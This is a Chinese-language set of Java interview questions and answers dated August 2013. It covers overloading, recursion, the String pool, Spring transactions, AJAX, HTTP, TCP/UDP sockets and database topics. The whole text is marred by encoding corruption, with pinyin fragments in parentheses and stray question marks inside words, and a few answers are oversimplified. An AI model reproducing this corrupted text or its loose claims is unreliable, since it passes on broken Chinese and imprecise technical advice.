“兩同”即同一個(gè)類中、方法名相同,“一個(gè)不同”即形參列表不同。 ?
??
? ? ? ? Java允許同一個(gè)類里定義多個(gè)同名的方法,只要形參列表不同即可。 如果同一個(gè)類中包含了兩個(gè)或兩個(gè)以上的方法名相同,但參數(shù)列表不同,則被稱為方法重載。至于方法的其他部分,如方法返回值類型、修飾符等,與方法重載沒有任何關(guān)系。 ?
??
注意: ?
參數(shù)列表順序不同:(String x,int y)和(int x,String y)不會報(bào)錯 ?
參數(shù)列表類型相同變量名不同:(int x,int y)和(int y,int x)編譯器會報(bào)錯 ?
無法通過返回值類型不同來進(jìn)行重載 ?
??
問題13、第1個(gè)人10,第2個(gè)比第1個(gè)人大2歲,依次遞推,請用遞歸方式計(jì)算出第8個(gè)人多大? ?
??
public static int calAge(int n) { ?
? ? ? ? if (1 == n) ?
? ? ? ? ? ? return 10; ?
? ? ? ? return calAge(n - 1) + 2; ?
? ? } ?
??
? ? public static void main(String[] args) { ?
? ? ? ? System.out.println("第八個(gè)屌絲的年齡是:" + calAge(8)); ?
? ? } ?
n=3的話, ?
第一次:3-1 ? ? ?10+2+2 ?
第二次:3-2 ? ? ?10+2 ?
第三次:返回10 ? 往上回去算 ?
??
??
問題14、一口井,深10米.一個(gè)蝸牛從井底往上爬. 白天爬3米,晚上掉2米.問幾天能爬出來? ?
??
第一天高度=3-2=1米 ?
第二天高度=1+3-2=2米 ?
第三天高度=2+3-2=3米 ?
第四天高度=3+3-2=4米 ?
第五天高度=4+3-2=5米 ?
以此類推... ?
第8天高度=7+3=10米,已經(jīng)爬出來了。 ?
所以:8天爬出來。注意:這里是一口氣爬出來,如果爬不出來的話需要再加1天 ?
??
2013年8月24日: ?
??
問題1、String s="a"+"b"+"c" 創(chuàng)建了幾個(gè)對象? ?
??
就創(chuàng)建了1個(gè) ??
String s = "a" + "b" + "c" + "d" + "e"; ??
賦值符號右邊的"a"、"b"、"c"、"d"、"e"都是常量 ??
對于常量,編譯時(shí)就直接存儲它們的字面值而不是它們的引用 ??
在編譯時(shí)就直接講它們連接的結(jié)果提取出來變成了"abcde" ??
該語句在class文件中就相當(dāng)于String s = "abcde" ??
然后當(dāng)JVM執(zhí)行到這一句的時(shí)候, 就在String pool里找 ??
如果沒有這個(gè)字符串,就會產(chǎn)生一個(gè) ?
??
問題2、Spring事務(wù)管理的7種傳播行為和4種隔離級別? ?
??
REQUIRED:業(yè)務(wù)方法需要在一個(gè)事務(wù)中運(yùn)行。如果方法運(yùn)行時(shí),已經(jīng)處在一個(gè)事務(wù)中,那么加入到該事務(wù),否則為自己創(chuàng)建一個(gè)新的事務(wù)。 ??
??
NOT_SUPPORTED:聲明方法不需要事務(wù)。如果方法沒有關(guān)聯(lián)到一個(gè)事務(wù),容器不會為它開啟事務(wù)。如果方法在一個(gè)事務(wù)中被調(diào)用,該事務(wù)會被掛起,在方法調(diào)用結(jié)束后,原先的事務(wù)便會恢復(fù)執(zhí)行。 ??
??
REQUIRES_NEW:屬性表明不管是否存在事務(wù),業(yè)務(wù)方法總會為自己發(fā)起一個(gè)新的事務(wù)。如果方法已經(jīng)運(yùn)行在一個(gè)事務(wù)中,則原有事務(wù)會被掛起,新的事務(wù)會被創(chuàng)建,直到方法執(zhí)行結(jié)束,新事務(wù)才算結(jié)束,原先的事務(wù)才會恢復(fù)執(zhí)行。 ??
??
MANDATORY:該屬性指定業(yè)務(wù)方法只能在一個(gè)已經(jīng)存在的事務(wù)中執(zhí)行,業(yè)務(wù)方法不能發(fā)起自己的事務(wù)。如果業(yè)務(wù)方法在沒有事務(wù)的環(huán)境下調(diào)用,容器就會拋出例外。 ??
??
SUPPORTS:這一事務(wù)屬性表明,如果業(yè)務(wù)方法在某個(gè)事務(wù)范圍內(nèi)被調(diào)用,則方法成為該事務(wù)的一部分。如果業(yè)務(wù)方法在事務(wù)范圍外被調(diào)用,則方法在沒有事務(wù)的環(huán)境下執(zhí)行。 ??
NEVER:指定業(yè)務(wù)方法絕對不能在事務(wù)范圍內(nèi)執(zhí)行。如果業(yè)務(wù)方法在某個(gè)事務(wù)中執(zhí)行,容器會拋出例外,只有業(yè)務(wù)方法沒有關(guān)聯(lián)到任何事務(wù),才能正常執(zhí)行。 ??
??
NESTED:如果一個(gè)活動的事務(wù)存在,則運(yùn)行在一個(gè)嵌套的事務(wù)中. 如果沒有活動事務(wù), 則按REQUIRED屬性執(zhí)行。它使用了一個(gè)單獨(dú)的事務(wù),這個(gè)事務(wù)擁有多個(gè)可以回滾的保存點(diǎn)。內(nèi)部事務(wù)的回滾不會對外部事務(wù)造成影響。它只對DataSourceTransactionManager事務(wù)管理器起效 ?
??
事務(wù)隔離級別: ?
??
數(shù)據(jù)庫系統(tǒng)提供了四種事務(wù)隔離級別供用戶選擇。不同的隔離級別采用不同的鎖類型來實(shí)現(xiàn),在四種隔離級別中,Serializable的隔離級別最高,ReadUncommited的隔離級別最低。 ?
大多數(shù)據(jù)庫默認(rèn)的隔離級別為ReadCommited,如SqlServer、Oracle,當(dāng)然也有少部分?jǐn)?shù)據(jù)庫默認(rèn)的隔離級別為RepeatableRead,如Mysql。 ?
??
ReadUncommited:讀未提交數(shù)據(jù)(會出現(xiàn)臟讀,不可重復(fù)讀和幻讀) ?
ReadCommited:讀已提交數(shù)據(jù)(會出現(xiàn)不可重復(fù)讀和幻讀) ?
RepeatableRead:可重復(fù)讀(會出現(xiàn)幻讀) ?
Serializable:串行化 ?
??
臟讀:一個(gè)事務(wù)讀取到另一事務(wù)未提交的更新新?lián)??
不可重復(fù)讀:在同一事務(wù)中,多次讀取同一數(shù)據(jù)返回的結(jié)果有所不同。換句話說就是,后續(xù)讀取可以讀到另一事務(wù)已提交的更新數(shù)據(jù)。相反,“可重復(fù)讀”在同一事務(wù)中多次讀取數(shù)據(jù)時(shí),能夠保證所讀數(shù)據(jù)一樣,也就是,后續(xù)讀取不能讀到另一事務(wù)已提交的更新數(shù)據(jù)。 ?
幻讀:一個(gè)事務(wù)讀取到另一事務(wù)已提交的insert數(shù)據(jù)。 ?
??
問題3、AJAX的原理? ?
??
AJAX的原理簡單來說通過XmlHttpRequest對象來向服務(wù)器發(fā)異步請求,從服務(wù)器獲得數(shù)據(jù),然后用JavaScript來操作DOM而更新頁面。這其中最關(guān)鍵的一步就是從服務(wù)器獲得請求數(shù)據(jù)。要清楚這個(gè)過程和原理,我們必須對 XMLHttpRequest有所了解。 ?
XMLHttpRequest是AJAX的核心機(jī)制,它是在IE5中首先引入的,是一種支持異步請求的技術(shù)。簡單的說,也就是JavaScript可以及時(shí)向服務(wù)器提出請求和處理響應(yīng),而不阻塞用戶。達(dá)到無刷新的效果。 ?
所以我們先從XMLHttpRequest講起,來看看它的工作原理。首先,我們先來看看XMLHttpRequest這個(gè)對象的屬性。 ?
? 它的屬性有: ?
onReadyStateChange ? ?每次狀態(tài)改變所觸發(fā)事件的事件處理程序 ?
responseText ? ? ?從服務(wù)器進(jìn)程返回?cái)?shù)據(jù)的字符串形式 ?
responseXML ? ? ? ? ? 從服務(wù)器進(jìn)程返回的DOM兼容的文檔數(shù)據(jù)對象 ?
status ? ? ? ? ? ? ?從服務(wù)器返回的數(shù)字代碼,比如常見的404(未找到)和200(已就緒) ?
status Text ? ? ? ? ? 伴隨狀態(tài)碼的字符串信息 ?
readyState ? ? ? ? ? ?對象狀態(tài)值 ?
??
0 (未初始化) ? ? ?對象已建立,但是尚未初始化(尚未調(diào)用open方法) ?
1 (初始化) ? ? ? ? ? 對象已建立,尚未調(diào)用send方法 ?
2 (發(fā)送數(shù)據(jù)) ? ? ?send方法已調(diào)用,但是當(dāng)前的狀態(tài)及http頭未知 ?
3 (數(shù)據(jù)傳送中) ? ? 已接收部分?jǐn)?shù)據(jù),因?yàn)轫憫?yīng)及http頭不全,這時(shí)通過responseBody和responseText獲取部分?jǐn)?shù)據(jù)會出現(xiàn)錯誤 ?
4 (完成) ? ? ? ? ? ?數(shù)據(jù)接收完畢,此時(shí)可以通過通過responseXml和responseText獲取完整的回應(yīng)數(shù)據(jù) ?
??
函數(shù)首先檢查XMLHttpRequest的整體狀態(tài)并且保證它已經(jīng)完成(readyStatus=4),即數(shù)據(jù)已經(jīng)發(fā)送完畢。然后根據(jù)服務(wù)器的設(shè)定詢問請求狀態(tài),如果一切已經(jīng)就緒(status=200),那么就執(zhí)行下面需要的操作。 ?
??
對于XmlHttpRequest的兩個(gè)方法,open和send,其中open方法指定了: ?
a、向服務(wù)器提交數(shù)據(jù)的類型,即post還是get。 ?
b、請求的url地址和傳遞的參數(shù)。 ?
c、傳輸方式,false為同步,true為異步。默認(rèn)為true。如果是異步通信方式(true),客戶機(jī)就不等待服務(wù)器的響應(yīng);如果是同步方式(false),客戶機(jī)就要等到服務(wù)器返回消息后才去執(zhí)行其他操作。我們需要根據(jù)實(shí)際需要來指定同步方式,在某些頁面中,可能會發(fā)出多個(gè)請求,甚至是有組織有計(jì)劃有隊(duì)形大規(guī)模的高強(qiáng)度的request,而后一個(gè)是會覆蓋前一個(gè)的,這個(gè)時(shí)候當(dāng)然要指定同步方式。 ?
Send方法用來發(fā)送請求。 ?
??
? 知道了XMLHttpRequest的工作流程,我們可以看出,XMLHttpRequest是完全用來向服務(wù)器發(fā)出一個(gè)請求的,它的作用也局限于此,但它的作用是整個(gè)AJAX實(shí)現(xiàn)的關(guān)鍵,因?yàn)锳JAX無非是兩個(gè)過程,發(fā)出請求和響應(yīng)請求。并且它完全是一種客戶端的技術(shù)。而XMLHttpRequest正是處理了服務(wù)器端和客戶端通信的問題所以才會如此的重要。 ?
現(xiàn)在,我們對AJAX的原理大概可以有一個(gè)了解了。我們可以把服務(wù)器端看成一個(gè)數(shù)據(jù)接口,它返回的是一個(gè)純文本流,當(dāng)然,這個(gè)文本流可以是XML格式,可以是Html,可以是JavaScript代碼,也可以只是一個(gè)字符串。這時(shí)候,XMLHttpRequest向服務(wù)器端請求這個(gè)頁面,服務(wù)器端將文本的結(jié)果寫入頁面,這和普通的web開發(fā)流程是一樣的,不同的是,客戶端在異步獲取這個(gè)結(jié)果后,不是直接顯示在頁面,而是先由JavaScript來處理,然后再顯示在頁面。 ?
??
問題4、字符串比較題? ?
??
String hello = "hello"; ?
? ? ? ? String hel = "hel"; ?
? ? ? ? String lo = "lo"; ?
? ? ? ? // 在"+"兩邊都是常量字符串,則將兩個(gè)字符串合并并且在String Pool中查找"hello" ?
? ? ? ? // 并返回在String Pool中的內(nèi)存地址正好也是hello變量的內(nèi)存地址,所以第一句代碼會輸出true。 ?
? ? ? ? System.out.println(hello == "hel" + "lo");// true ?
? ? ? ? System.out.println("hello" == "hel" + "lo");// true ?
? ? ? ? // 如果在"+"兩邊有一邊是引用類型變量,Java會將合并成一個(gè)字符串并且在堆棧中創(chuàng)建一個(gè) ?
? ? ? ? // 新的對象并且返回內(nèi)存地址,所以這句代碼是輸出false。 ?
? ? ? ? System.out.println(hello == hel + "lo"); // false ?
? ? ? ? System.out.println(hello == hel + lo); // false ?
??
??
問題5、說說什么是分布式和集群? ?
??
分布式強(qiáng)調(diào)同一個(gè)業(yè)務(wù)被分拆成不同的子業(yè)務(wù),被部署在不同的服務(wù)器上(可能是性能的問題,也可能是安全的問題,也可能是模塊對服務(wù)器的需求不同的問題將業(yè)務(wù)進(jìn)行分解),服務(wù)器可以跨域也可以同域。 ?
??
而集群偏重平行處理,一臺服務(wù)器不能提供足夠的能力,而采用多臺服務(wù)器并行處理一個(gè)問題。 ?
??
集群是指所有的設(shè)備共同完成相同的功能,每一個(gè)設(shè)備的功能都是完整的,但是在外界看來是一個(gè)設(shè)備。 ?
分布式是所有的設(shè)備集結(jié)后,共同組成一個(gè)體系,相互之間協(xié)同工作,同時(shí)又各自完成自己的相應(yīng)的工作,但是所有的功能不是在一個(gè)設(shè)備上,而是由不同的設(shè)備完成,但是由一個(gè)設(shè)備作為統(tǒng)一的接入點(diǎn)和協(xié)調(diào)點(diǎn)。 ?
??
問題6、說說你對HTTP協(xié)議的了解? ?
??
HTTP協(xié)議主要有用于做客戶端瀏覽器和Web服務(wù)器之間的一個(gè)通訊規(guī)則(TCP/IP)。該協(xié)議主要規(guī)定的是傳輸HTML(超文本)的格式,其中包含了很多的消息頭信息,可以幫助底層的Socket進(jìn)行識別具體的信息,那么對于開發(fā)者而言,如果掌握了HTTP協(xié)議的基本通信規(guī)則有利于后期的JavaEE開發(fā)。 ?
?
默認(rèn)的瀏覽器是無法進(jìn)行協(xié)議的通信內(nèi)容查看的,因此我們?yōu)g覽器上需要安裝一個(gè)額外的插件:HTTP Watch。 ?
?
?
HTTP協(xié)議有1.0和1.1版本: ?
HTTP1.0的協(xié)議主要用于對每一次請求建立新的連接。這樣會導(dǎo)致連接的次數(shù)過于頻繁,導(dǎo)致速度降低。 ?
HTTP1.1可以使得客戶端建立一定時(shí)間范圍內(nèi)的持續(xù)連接。 ?
??
請求分析 ?
瀏覽器在發(fā)送請求的時(shí)候,會默認(rèn)給請求進(jìn)行封裝,給一個(gè)請求上面添加HTTP協(xié)議相關(guān)的頭信息。常見的信息如下: ?
GET /books/java.html HTTP/1.1 ? ? ? ? ? 請求行 ?
Accept: */* ? ? ? ? ? ? ? ? ? ? ? ? ? ?請求頭 ?
Accept-Language: en-us ?
Connection: Keep-Alive ?
Host: localhost ?
Referer: http://localhost/links.asp ?
User-Agent: Mozilla/4.0 ?
Accept-Encoding: gzip, deflate ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?空白行 ?
請求行: ?
GET ? ? ? /books/java.html ? ? ? HTTP/1.1 ? ?
請求方式 ? ?請求的資源 ? ? ?請求使用的協(xié)議和版本 ?
請求方式:HTML表單、GET和POST ?
GET請求方式最大的特點(diǎn)是會將參數(shù)綁定在URL地址欄的后面進(jìn)行傳遞,因此傳遞的數(shù)據(jù)是有限的且是明文的。 ?
POST請求方式,該方式會將參數(shù)指定在請求體中進(jìn)行傳遞。 ?
常見的請求頭分析:瀏覽器生成出來的信息,該信息想要通知服務(wù)器一些信息。 ?
Accept: */* ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?通知服務(wù)器瀏覽器可以接受的數(shù)據(jù)類型 ?
Accept-Language: en-us ? ? ? ? ? ? ? ? ? 通知服務(wù)器瀏覽器使用的語言 ?
Connection: Keep-Alive ? ? ? ? ? ? ? ? ? 通知服務(wù)器在特定時(shí)間內(nèi)保持連接 ?
Host: localhost ? ? ? ? ? ? ? ? ? ? ?通知服務(wù)器瀏覽器使用的主機(jī) ?
Referer: http://localhost/links.asp ? ? ? ? ?通知服務(wù)器該請求來自于哪一個(gè)頁面 ?
User-Agent: Mozilla/4.0 ? ? ? ? ? ? ? ? ?通知服務(wù)器瀏覽器的版本 ?
Accept-Encoding: gzip, deflate ? ? ? ? ? 通知服務(wù)器瀏覽器可以接受的編碼格式 ?
??
響應(yīng)分析 ?
瀏覽器給服務(wù)器發(fā)送了一個(gè)消息,那么服務(wù)器一定會給瀏覽器返回一個(gè)響應(yīng)消息。 ?
HTTP/1.1 200 OK ? ? ? ? ? ? ? ? ? ? ?響應(yīng)行 ?
Server: Apache-Coyote/1.1 ? ? ? ? ? ? ? ?響應(yīng)頭 ?
Accept-Ranges: bytes ?
ETag: W/"272-1351567272000" ?
Last-Modified: Tue, 30 Oct 2012 03:21:12 GMT ?
Content-Type: text/html ?
Content-Length: 272 ?
Date: Tue, 30 Oct 2012 06:27:26 GMT ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?空白行 ?
< !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> ?
< html>….</html> ? ? ? ? ? ? ? ? ? ? ?響應(yīng)體 ?
HTTP/1.1 ? ? ? ? 200 ? ? ? ? ? ? ?OK ? ? ? ?響應(yīng)行 ?
響應(yīng)的協(xié)議版本 ? 響應(yīng)的狀態(tài)碼 ? ?對響應(yīng)碼的具體描述 ?
常見的響應(yīng)碼: ?
200 ? 響應(yīng)成功 ?
302 ? 繼續(xù)細(xì)化您的請求 ?
404 ? 請求資源無法找到 ?
500 ? 服務(wù)器錯誤 ?
Location: http://www.it315.org/index.jsp ? ? 通知瀏覽器需要細(xì)化的請求地址 ?
Server:apache tomcat ? ? ? ? ? ? ? ? ? ? 通知瀏覽器服務(wù)器使用的服務(wù)器型號 ?
Content-Encoding: gzip ? ? ? ? ? ? ? 通知瀏覽器服務(wù)器發(fā)送的數(shù)據(jù)類型 ?
Content-Length: 80 ? ? ? ? ? ? ? ? ? 通知瀏覽器壓縮數(shù)據(jù)的大小 ?
Content-Language: zh-cn ? ? ? ? ? ? ? ? ?通知瀏覽器服務(wù)器發(fā)送數(shù)據(jù)的語言 ?
Content-Type: text/html; charset=GB2312 ? ? ?通知瀏覽器服務(wù)器發(fā)送數(shù)據(jù)的內(nèi)容類型、編碼 ?
Last-Modified: Tue, 11 Jul 2000 18:23:51 GMT ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?通知瀏覽器請求的資源最后一個(gè)修改的時(shí)間 ?
Refresh: 1;url=http://www.it315.org ? ? ?通知瀏覽器定時(shí)刷新 ?
Content-Disposition: attachment; filename=aaa.zip ?通知瀏覽器內(nèi)容的處理方式(下載) ?
Transfer-Encoding: chunked ? ? ? ? ? ? ? 通知瀏覽器數(shù)據(jù)以數(shù)據(jù)塊的方式逐一發(fā)送 ?
Set-Cookie:SS=Q0=5Lb_nQ; path=/search ? ?通知瀏覽器需要存儲Cookie數(shù)據(jù) ?
Expires: -1 ? ? ? ? ? ? ? ? ? ? ? ? ?通知瀏覽器不要緩存當(dāng)前的頁面 ?
Cache-Control: no-cache ? ?
Pragma: no-cache ? ??
Connection: close/Keep-Alive ? ? ? ? ? ? 通知瀏覽器保持或關(guān)閉連接 ?
Date: Tue, 11 Jul 2000 18:23:51 GMT ? ? ?通知瀏覽器服務(wù)器處理請求的時(shí)間 ?
??
問題7、說說你對TCP和UDP協(xié)議的了解? ?
??
TCP ?
Transmission Control Protocol (傳輸控制協(xié)議) ?
特點(diǎn): ?
面向連接、可靠、效率稍低 ?
通過三次握手,建立連接,形成傳輸數(shù)據(jù)的通道。在連接中進(jìn)行大數(shù)據(jù)量傳輸 ?
例如: ?
? ? 因?yàn)門CP協(xié)議能夠發(fā)現(xiàn)丟失的傳輸數(shù)據(jù)并重新發(fā)送,所以適合文件傳輸,接收郵件 ?
??
??
UDP ?
User Datagram Protocol (用戶數(shù)據(jù)報(bào)協(xié)議) ?
特點(diǎn): ?
無連接、不可靠、速度快 ?
將數(shù)據(jù)及源和目的封裝成數(shù)據(jù)包中,不需要建立連接。每個(gè)數(shù)據(jù)報(bào)的大小在限制在64k內(nèi) ?
例如: ?
? ? UDP協(xié)議不能保證傳輸沒有丟失 ?
視頻通話,即時(shí)通信,IP電話 (VoIP)電話 ?
??
??
UDP需要學(xué)習(xí)使用的類: ?
DatagramSocket ?
DatagramPacket ?
需要建立發(fā)送端,接收端。 ?
建立數(shù)據(jù)包。將數(shù)據(jù)存儲在數(shù)據(jù)包中. ?
調(diào)用Socket的發(fā)送接收方法。 ?
關(guān)閉Socket。 ?
發(fā)送端與接收端是兩個(gè)獨(dú)立的運(yùn)行程序。 ?
??
UDP發(fā)送: ?
第一步:創(chuàng)建Socket ?
? ? 需要創(chuàng)建Socket, 發(fā)送端不需要指定ip地址和端口, 使用本機(jī)地址發(fā)送, 會自動找到未使用的端口。 ?
需要使用DatagramSocket此類表示用來發(fā)送和接收數(shù)據(jù)報(bào)包的套接字。 ?
java.lang.Object ?
? java.net.DatagramSocket ?
可以通過構(gòu)造函數(shù)創(chuàng)建該Socket對象 ?
DatagramSocket socket = new DatagramSocket(); ?
第二步:創(chuàng)建數(shù)據(jù)包 ?
? ? 發(fā)送時(shí)需要創(chuàng)建數(shù)據(jù)包如何創(chuàng)建數(shù)據(jù)包?使用DatagramPacket ?
java.lang.Object ?
? java.net.DatagramPacket ? ?此類表示數(shù)據(jù)報(bào)包。 ??
創(chuàng)建數(shù)據(jù)包時(shí)需要通過構(gòu)造函數(shù)指定發(fā)送的數(shù)據(jù)(字節(jié)數(shù)組),數(shù)據(jù)長度(數(shù)組長度),接受方的IP地址(InteAddress類),接受方端口號(port)。 ?
構(gòu)造函數(shù): ?
DatagramPacket(byte[] buf, int length, InetAddress address, int port) ??
? ? ? ? ? 構(gòu)造數(shù)據(jù)報(bào)包,用來將長度為 length 的包發(fā)送到指定主機(jī)上的指定端口號。 ?
第三步:發(fā)送數(shù)據(jù) ?
有了Socket 有了數(shù)據(jù),如何發(fā)送數(shù)據(jù)包?使用Socket的send方法將數(shù)據(jù)包發(fā)送出去 ?
?void ?send(DatagramPacket p) ??
? ? ? ? ? 從此套接字發(fā)送數(shù)據(jù)報(bào)包。 ?
??
第四步:關(guān)閉Socket ?
使用Socket的close方法關(guān)閉。 ?
void close() ??
? ? ? ? ? 關(guān)閉此數(shù)據(jù)報(bào)套接字。 ?
注意: 在發(fā)送端,要在數(shù)據(jù)包對象中明確目的地IP及端口。 ?
??
UDP接收 ?
第一步:需要創(chuàng)建Socket, ?
接收時(shí)必須指定端口號. ?
DatagramSocket socket = new DatagramSocket(8888); ?
第二步:創(chuàng)建數(shù)據(jù)包, ?
接收時(shí)也需要創(chuàng)建數(shù)據(jù)包, 用來存儲數(shù)據(jù). 需要一個(gè)字節(jié)數(shù)組. ?
DatagramPacket packet = new DatagramPacket(new byte[1024], 1024); ?
接收數(shù)據(jù) ?
第三步:接收數(shù)據(jù) ?
使用DatagramSocket 的receive方法接收數(shù)據(jù).該方法需要指定數(shù)據(jù)包. ?
socket.receive(packet); ?
第四步: 從數(shù)據(jù)包中獲取數(shù)據(jù) ?
byte[] data = packet.getData(); ?
第五步:獲取數(shù)據(jù)長度 ?
int len = packet.getLength(); ?
第六步:獲取發(fā)送端ip地址 ?
packet.getInetAddress().getHostAddress(); ?
第七步:獲取發(fā)送端端口號 ?
packet.getPort(); ?
第八步:關(guān)閉socket ?
socket.close(); ?
注意: 在接收端,要指定監(jiān)聽的端口。 ?
??
TCP客戶端 ?
第一步:創(chuàng)建客戶端Socket ?
需要指定連接到服務(wù)器的地址和端口號, 并嘗試連接 ?
客戶端需要明確服務(wù)器的ip地址以及端口,這樣才可以去試著建立連接,如果連接失敗,會出現(xiàn)異常。 ?
Socket socket = new Socket("192.168.1.220", 8888); ?
第二步:連接成功獲取輸入輸出流 ?
連接成功,說明客戶端與服務(wù)端建立了通道,那么通過IO流就可以進(jìn)行數(shù)據(jù)的傳輸,而Socket對象已經(jīng)提供了輸入流和輸出流對象,通getInputStream(),getOutputStream()獲取即可。 ?
socket.getInputStream(); ?
socket.getOuputStream(); ?
第三步: 將數(shù)據(jù)寫出到服務(wù)端 ?
使用字節(jié)輸出流的write() 方法 ?
第四步:關(guān)閉socket ? ? ?
? ? ? ? 調(diào)用close方法 ?
連接成功之后獲取輸入輸出流 ?
? ? ? ? socket.getInputStream(); ?
? ? ? ? socket.getOuputStream(); ?
? ? ? ? 獲取流之后就可以通過輸入輸出流發(fā)送和讀取數(shù)據(jù)了, 客戶端的輸入流連接服務(wù)端輸出流, 客戶端輸出流連接服務(wù)端輸入流 ?
客戶端案例: ?
public class TcpClient { ?
? ? public static void main(String[] args) throws IOException, IOException { ?
? ? ? ? System.out.println("客戶端啟動..."); ?
? ? ? ? // 創(chuàng)建客戶端 ?
? ? ? ? Socket socket = new Socket("127.0.0.1", 50000); ?
? ? ? ? // 與服務(wù)端建立連接,獲取輸入輸出流 ?
? ? ? ? InputStream in = socket.getInputStream(); ?
? ? ? ? OutputStream out = socket.getOutputStream(); ?
? ? ? ? // 將數(shù)據(jù)寫出到服務(wù)端 ?
? ? ? ? System.out.println("客戶端發(fā)送數(shù)據(jù)..."); ?
? ? ? ? out.write("Tcp,你好我是客戶端...".getBytes()); ?
? ? ? ? // 關(guān)閉socket ?
? ? ? ? out.close(); ?
? ? } ?
} ?
??
??
TCP服務(wù)端 ?
第一步: 創(chuàng)建服務(wù)端 ?
ServerSocket, 需要指定端口號. 客戶端連接的就是這個(gè)端口. ?
java.lang.Object ?
? java.net.ServerSocket ?
創(chuàng)建ServerSocket ?
ServerSocket serverSocket = new ServierSocket(8888); ?
第二步:和客戶端建立連接 ?
通過accept方法 ?
Socket accept() ??
? ? ? ? ? 偵聽并接受到此套接字的連接。 ?
該方法會偵聽是否有客戶端連接,如果有建立連接,并獲取客戶端的Socket ?
也就是說服務(wù)端創(chuàng)建之后可以獲取客戶端連接, 返回一個(gè)Socket對象, 這個(gè)Socket就是和客戶端連接的Socket ?
Socket socket = serverSocket.accept(); ?
第三步: 接受客戶端的數(shù)據(jù),獲取客戶端的數(shù)據(jù) ?
服務(wù)端獲取這個(gè)socket的輸入輸出流, 就可以和客戶端發(fā)送接收數(shù)據(jù)了socket.getInputStream(); ?
socket.getOutputStream(); ?
第四步:獲取客戶端的ip地址和端口號 ?
使用服務(wù)端獲取的Socket 獲取ip地址和端口. ?
InetAddress getInetAddress() ??
? ? ? ? ? 返回套接字連接的地址。 ?
??
int getPort() ??
? ? ? ? ? 返回此套接字連接到的遠(yuǎn)程端口。 ?
??
第五步:關(guān)閉客戶端和服務(wù)端 ?
在服務(wù)端中分別調(diào)用close方法. ?
??
2013年8月27日: ?
??
問題1、jQuery中AJAX發(fā)送請求的方法,get請求和post請求有什么區(qū)別? ?
??
get是從服務(wù)器獲取數(shù)據(jù),post是向服務(wù)器發(fā)送數(shù)據(jù) ?
get是小數(shù)據(jù)量傳輸,post是大數(shù)據(jù)量傳輸 ?
get請求的參數(shù)隊(duì)列會在是通過url地址傳輸,在url地址上就能看到傳輸?shù)膮?shù),post看不到 ?
get安全性低,post安全性高,但get的執(zhí)行效率比post高 ?
如果是傳輸機(jī)密信息建議用post ?
如果是數(shù)據(jù)查詢建議用get ?
??
問題2、Mysql和Oracle數(shù)據(jù)庫的區(qū)別? ?
??
Oracle是付費(fèi)的,安全性能更高,一般銀行系統(tǒng)這種安全性要求很高的系統(tǒng)都是用Oracle ?
Oracle對權(quán)限的管理非常細(xì)致,做的非常好,大概有159種權(quán)限,Mysql只有27種 ?
主鍵,Oracle不可以實(shí)現(xiàn)自增,Mysql可以實(shí)現(xiàn)自增,Oracle需要新建序列實(shí)現(xiàn),SEQ_USER_Id.nextval ?
Oracle的分頁方法和Mysql的分頁方法比起來非常麻煩,Oracle需要用到個(gè)子查詢,Mysql用一個(gè)limit方法搞定,而且分頁時(shí),Mysql的游標(biāo)從0開始,Oracle從1開始 ?
Mysql屬于中型數(shù)據(jù)庫,Oracle屬于大型數(shù)據(jù)庫,但并不是說Mysql不能支撐大型應(yīng)用,而是從功能上來看,Oracle擁有更豐富和完善的功能,不過一般我們也是使用他的一部分常用功能,而這一部分功能Mysql也是具備的 ?
在程序員的角度上來說,Mysql比Oracle更加簡單一些 ?
在細(xì)節(jié)的使用上來說Mysql在字符串上可以用單引號也可以用雙引號,Oracle則必須使用單引號 ?
??
問題3、簡述Struts2框架? ?
??
Struts2是基于JSP和Servlet的一個(gè)開源web應(yīng)用框架,使用MVC設(shè)計(jì)模式,結(jié)構(gòu)清晰,使程序員可以只關(guān)注業(yè)務(wù)邏輯,還具有豐富的標(biāo)簽庫可以使用。 ?
?
Struts2工作流程: ?
客戶端發(fā)送請求 ?
根據(jù)web.xml,請求被FileDispatcher接收 ?
根據(jù)struts.xml的配置,找到需要調(diào)用的Action類,通過IOC方式將值注入給Action,Action調(diào)用業(yè)務(wù)邏輯組件處理業(yè)務(wù)邏輯。如果有配置攔截器,這一步還包含了攔截器 ?
Action執(zhí)行完畢,根據(jù)struts.xml中的配置找到對應(yīng)的Result,并跳轉(zhuǎn)到相應(yīng)頁面 ?
響應(yīng)到客戶端瀏覽器 ?
??
問題4、簡述AOP用什么技術(shù)實(shí)現(xiàn)的? ?
??
動態(tài)代理技術(shù)實(shí)現(xiàn)的,如果用JDK實(shí)現(xiàn)動態(tài)代理,需要利用Proxy類和InvocationHandler接口 ?
??
問題5、IOC和new有什么區(qū)別? ?
??
IOC即是控制反轉(zhuǎn)也叫依賴注入,他是通過IOC容器來生成對象,控制對象的生命周期,同時(shí)IOC把零散的部件組成了一個(gè)整體,從而達(dá)到疏散耦合的效果,我們可以利用Spring的配置,來讓IOC決定給我們注入的是一個(gè)已有對象,還是新建一個(gè)對象。 ?
而new是每次拿到的都是一個(gè)新的對象,同時(shí)也不便于管理。 ?
??
問題6、什么是綁定變量? ?
??
變量綁定就是使用PreparedStatment對SQL語句進(jìn)行一個(gè)預(yù)編譯,其中有一些我們需要為其指定的參數(shù),我們會在稍后為數(shù)據(jù)庫指定這些參數(shù)的值,綁定變量的好處可以防止SQL注入,避免sql語句的硬解析。 ?
查詢通常只是因?yàn)楦淖僕HERE子句中的內(nèi)容而產(chǎn)生不同的結(jié)果。為了在這種情況下避免硬解析,需要使用綁定變量(bind variable)。它是用戶放入查詢中的占位符,它會告訴Oracle"我會隨后為這個(gè)變量提供一個(gè)值,現(xiàn)在需要生成一個(gè)方案,但我實(shí)際執(zhí)行語句的時(shí)候,我會為您提供應(yīng)該使用的實(shí)際值"。 ?
例如: ?
select * from emp where ename='KING'; ? //不使用綁定變量 ??
select * from emp where ename=:bv; ? ? ?//使用綁定變量 ?
??
問題7、delete、truncate、drop的異同? ?
??
相同點(diǎn): ?
truncate和不帶where子句的delete, 以及drop都會刪除表內(nèi)的數(shù)據(jù) ?
drop,truncate都是DDL(數(shù)據(jù)定義語言)語句,執(zhí)行后會自動提交 ?
??
不同點(diǎn): ?
truncate和 delete只刪除數(shù)據(jù)不刪除表的結(jié)構(gòu)(定義) ??
